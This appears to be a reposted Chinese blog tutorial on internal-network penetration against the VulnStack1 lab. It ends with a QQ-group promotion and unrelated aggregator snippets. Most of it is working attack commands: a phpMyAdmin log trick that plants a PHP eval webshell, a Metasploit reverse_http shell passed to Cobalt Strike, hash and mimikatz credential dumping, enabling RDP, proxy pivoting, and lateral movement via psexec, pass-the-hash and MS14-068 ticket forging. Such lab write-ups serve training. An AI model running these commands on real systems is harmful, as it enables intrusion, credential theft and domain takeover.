90后大叔连夜爆肝整理出最全内网渗透实战技巧妹妹直呼心疼哥哥!-低调大师

90后大叔连夜爆肝整理出最全内网渗透实战技巧妹妹直呼心疼哥哥!

2021-05-26 618

本文章是关于内网方面渗透技巧的一个文章，用的环境是VulnStack1，VulnStack是红日安全团队出的一个内网渗透的靶机环境，感谢红日团队，地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

主要以该环境讲解内网渗透的技术。

拓扑图如下：

· Web服务器(Windows7)：192.168.10.14 、192.168.52.143 主机名：stu1

· 域成员主机(Windows Server 2003)：192.168.52.141 主机名：root-tvi862ubeh

· 域控(Windows Server 2008)：192.168.52.138 主机名：owa

其中，Web服务器的192.168.10.14模拟公网地址，我们可以直接访问192.168.10.14。但是我们访问不了192.168.52.0网段。

拿下Web服务器

本文主要是讲内网渗透方面，所以关于怎么拿下Web服务器，比较粗略的过。

说下我们对Web服务器的思路吧。在红蓝对抗中，拿到了入口站点，我们首先会想办法获取入口点的shell，再以此挂隧道通内网。而拿shell无非是上传木马、SQL注入、反序列化。而在很多网站的登录后台后，会存在文件上传漏洞，进而getshell。

访问Web服务器地址 http://192.168.10.14/yxcms/ ，是一个yxcms的站点。关于yxcms的漏洞，传送门：代码审计| yxcms app 1.4.6 漏洞集合

对于yxcms我也不熟悉，之前没接触过。拿到目标第一先用御剑扫描下后台吧

发现phpmyadmin后台登录地址：http://192.168.10.14/phpmyadmin/

发现一个压缩包文件，该文件是网站的压缩包文件：http://192.168.10.14/beifen.rar

发现phpinfo文件：http://192.168.10.14/phpinfo.php

发现一些比较敏感的目录，这些目录都存在目录遍历漏洞

phpmyadmin后台getshell

对phpmyadmin后台进行爆破，得到账号密码：root/root

进入phpmyadmin后台后，获取shell。传送门：phpmyadmin爆破和后台getshell

这里由于 secure_file_priv的值为NULL，所以我们不能利用写into outfile写木马getshell。

这里我们利用日志文件Getshell。传送门：phpmyadmin利用日志文件Getshell

执行以下命令

set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>'               #执行该语句，会将该命令写入日志文件中点击并拖拽以移动

最后用菜刀连接，如下。

后渗透第一步

在拿到了Web服务器的权限后，我们就要尽可能多的搜集该服务器的信息，然后搭建隧道通往内网！

执行以下命令我们知道当前的用户身份是 administrator ，在管理员组中，并且处在域 god 中。该主机有两张网卡，分别是：192.168.10.14，192.168.52.143。由此可知，其实获得的这个权限就是域管理员权限。(搞不懂环境为啥要以域管理员账号登录，为啥不以本地普通用户登录？？)

现在我们想反弹一个MSF的shell。将MSF生成的木马上传到该主机上，执行，反弹成功！

派生CobaltStrike权限

首先在CobaltStrike上开启一个监听

然后在MSF中执行以下操作，我们的CobaltStrike就接收到反弹过来的shell了。

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #默认情况下，payload_inject执行之后会在本地产生一个新的handler，由于我们已经有了一个，所以不需要在产生一个，所以这里我们设置为true
set lhost xxxx                 #cobaltstrike监听的ip
set lport 14444                 #cobaltstrike监听的端口 
set session 1                   #这里是获得的session的id
exploit

获得System权限

这里由于获得的直接是adminsitrator权限，所以可以直接提到system。在真实环境中，这里很多时候都是一个普通用户权限，需要我们去提权。

获取账号密码

1：导出hash

run hashdump

2：导出hash

run windows/gather/smart_hashdump

3：加载 kiwi模块

这里尝试加载kiwi模块，获取不到账号密码

load kiwi
creds_all

4：加载 mimikatz 模块

再尝试加载 mimikatz 模块，加载模块前需要先将meterpreter迁移到64位的进程，而且该进程也需要是system权限运行的。如图，成功获得账号密码：administrator/hongrisec@2019

migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

远程桌面登录

这里我们已经获得了administrator的账号和密码，现在我们既可以使用administrator账号登录，也可以新建账号登录(hack/Password@)。(不建议直接用administrator身份登录，因为这样有可能会惊动管理员)

通过nmap扫描发现该主机的3389端口呈过滤状态，由此猜想可能是防火墙将该端口过滤了

于是执行以下命令开启3389端口

run post/windows/manage/enable_rdp

再次探测发现3389端口已是open状态

尝试3389远程登录该主机，但是弹出如果我们继续登录，则会断开该主机的当前连接。为了不惊动管理员，这里我们不继续连接了。

添加路由、挂Socks4a代理

传送门：MSF搭建socks代理

· 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机

· 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注：添加路由一定要在挂代理之前，因为代理需要用到路由功能

#添加路由
route add 0.0.0.0 0.0.0.0 1
run print

#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打开/etc/proxychains.conf，加入下面一行
socks4 0.0.0.0 1080

#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains

我们也可以在本机设置socks4代理，指向我们vps的1080端口。那么，我们本地的流量就会交给VPS的1080端口，而1080端口是MSF起的，MSF又添加了到内网的路由，自然我们就可以访问到内网的主机。

这里我实测用MSF挂的socks4a代理并不稳定，建议实战环境用 FRP 起的 socks5 代理，这里我为了省事直接用MSF的socks代理。其实新版的MSF也有了socks5代理，不过好像也不是很好用。

域信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

从域信息收集可以得到以下信息：

· 域：god.org

· 域内有三个用户：administrator、ligang、liukaifeng01

· 域内有三台主机：DEV1(不在此环境中)、ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)

· 域控：OWA(192.168.52.138)

· 域管理员：administrator

由此可见，我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

内网主机信息收集

我们现在想进行内网横向渗透，就需要收集更多的信息，内网渗透信息收集是非常重要的一步。

由于我们之前添加了路由信息并且挂了Socks4a代理，所以我们现在可以使用MSF里面的探测模块以及nmap对内网进行探测。

内网存活主机探测

这一步在域环境渗透中可以省略，因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透，可以使用这一步。在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测，传送门：后渗透阶段之基于MSF的内网主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

内网存活主机端口扫描

1：使用MSF自带模块进行端口探测

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

2：使用 proxychains 代理链利用 nmap 对内网主机进行端口探测

内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务，基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务，基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务，基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务，基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务，基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务，基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务，基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务，基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务，基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务，基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

经过了以上几步，我们就可以大致判断内网存活的主机、主机开放的端口以及服务这些基本信息了。

内网横向渗透攻击技巧

在对内网主机进行信息收集后，接下来我们就是要对内网主机发动攻击了。内网攻击方法有下面这些。

MS17-010

永恒之蓝在内网渗透中是屡试不爽的，基本上一打一大片。但是MS17-010在实际红蓝对抗渗透中(通过代理打内网)并不好利用，MSF中自带的模块要打很多次才能成功一次，而且MSF自带的模块打sever2003的机器很容器蓝屏。注意这里的payload必须设置为正向连接 bind_tcp。

如下，第一次打就没打成功。

CVE-2019-0708

该漏洞是今年爆出的一个windows RDP协议的漏洞，但是测了一下，发现该主机不存在该漏洞。另外，该漏洞成功率也不高，而且极有可能把目标机打成蓝屏的结果。所以在真实红蓝对抗中不建议使用该漏洞，除非有百分百的把握能打成功。

psexec攻击

我们已经获得了域管理员 god/administrator 的账号密码，我们现在可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。

注：由于提示需要修改密码，所以已将 god/administrator 的密码改为 Password@ 。

psexec.exe \\192.168.52.138 -u god\administrator -p Password@ cmd

但是在连接 Server2003服务器的时候出了点小问题，提示服务没有及时响应启动或控制请求。

哈希传递攻击

在域环境内，只有获得了域管理员的哈希才可以攻击。这里假设我们得到了域管理员administrator的哈希，但是没有得到明文密码。在这里我们就可以用哈希传递攻击了。

在前面获得了域管理员 administrator 的NTLM哈希为：c456c606a647ef44b646c44a227917a4

sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

MS14-068

MS14-068漏洞适用于当我们获得了普通域用户的哈希，域控存在MS14-068漏洞的场景。我们现在想利用获得了普通域用户哈希去访问域控。

但是这里我们是直接获得了域管理员的哈希，这里只是演示下MS14-068漏洞的攻击手法

先获取需要利用的域用户的SID值

#生成票据TGT_administrator@god.org.ccache
MS14-068.exe -u administrator@god.org -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138       #MS14-068.exe -u 域用户@dog.org -p 域用户密码 -s 域用户的SID -d 域控ip

#在mimikatz中导入票据
kerberos::ptc  TGT_administrator@god.org.ccache的路径


然后再打开一个cmd窗口尝试访问域控
dir \\192.168.52.138\c$

最后多说几句：

为了感谢读者们，我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家，回馈每一个读者，希望能帮到你们。

干货主要有：

①　2000多本网安必看电子书（主流和经典的书籍应该都有了）

②　PHP标准库资料（最全中文版）

③　项目源码（四五十个有趣且经典的练手项目及源码）

④ 网络安全基础入门、Linux运维，web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

各位朋友们可以关注+评论一波然后加下QQ群：581499282 备注：开源中国即可免费获取全部资料

微信关注我们

原文链接：https://my.oschina.net/u/5053258/blog/5059588

转载内容版权归作者及来源网站所有！

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

SourceGit v3.8 发布，开源的 Git 客户端

SourceGit v3.8 已经发布，此版本更新内容包括：此版本更新内容包括： [CHANGELOG] 修复无法自动找到git.exe时，打开配置界面Crash的BUG 修复分支未解析完成情况下，打开提交的右键菜单Crash的BUG 当配置变更且需要重启生效时，询问是否立即重启修复没有添加remote情况下，fetch/pull/push等操作Crash的BUG 完成git-flow的release/hotfix分支开发时，不再需要弹出文本编辑器使用Win32API提供的打开目录对话框替代之前自己写的修复新建branch名字验证规则的BUG 修复初始化仓库Crash的BUG 修复对空仓库创建分支/初始化git-flow等操作Crash的BUG 修复Diff命令解析空行Crash的BUG 新增git archive命令支持详情查看：https://gitee.com/sourcegit/SourceGit/releases/v3.8

2021-05-28

651

摘要：本文章主要介绍了GaussDB(DWS)数据类型中的DATE类型在不同数据库模式下且在不同应用场景下的行为表现及对比。本文分享自华为云社区《GaussDB(DWS)数据类型之DATE类型》，原文作者：小仲。 GaussDB(DWS)中有三种模式，分别是Oracle模式，TD模式和MySQL模式。不同的类型在不同的模式下，也有不同的行为表现。接下来便对GaussDB(DWS)中的日期DATE类型进行详细介绍。 DATE类型的取值范围： GaussDB(DWS)在存储DATE类型时，不支持年月日全部为零或部分为零的场景，且取值范围在三种模式下是不同的：在Oracle模式下，DATE类型的取值范围是公元前4713年1月1日到公元294277年1月1日。在MySQL模式和TD模式中，DATE类型的取值范围是公元前4713年到公元5874897年。用例说明： 1. 不同模式下DATE类型的行为 Oracle模式 a. DATE类型的表现 GaussDB(DWS)中DATE类型存储时不带时分秒，由于在Oracle模式下的DATE类型需要带有时分秒，使得GaussDB(DWS)在Orac...

2021-05-26

526

资源下载

更多资源

优质分享App

近一个月的开发和优化，本站点的第一个app全新上线。该app采用极致压缩，本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长，特征是大鼻子、头戴帽子、身穿背带裤，还留着胡子。与他的双胞胎兄弟路易基一起，长年担任任天堂的招牌角色。

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。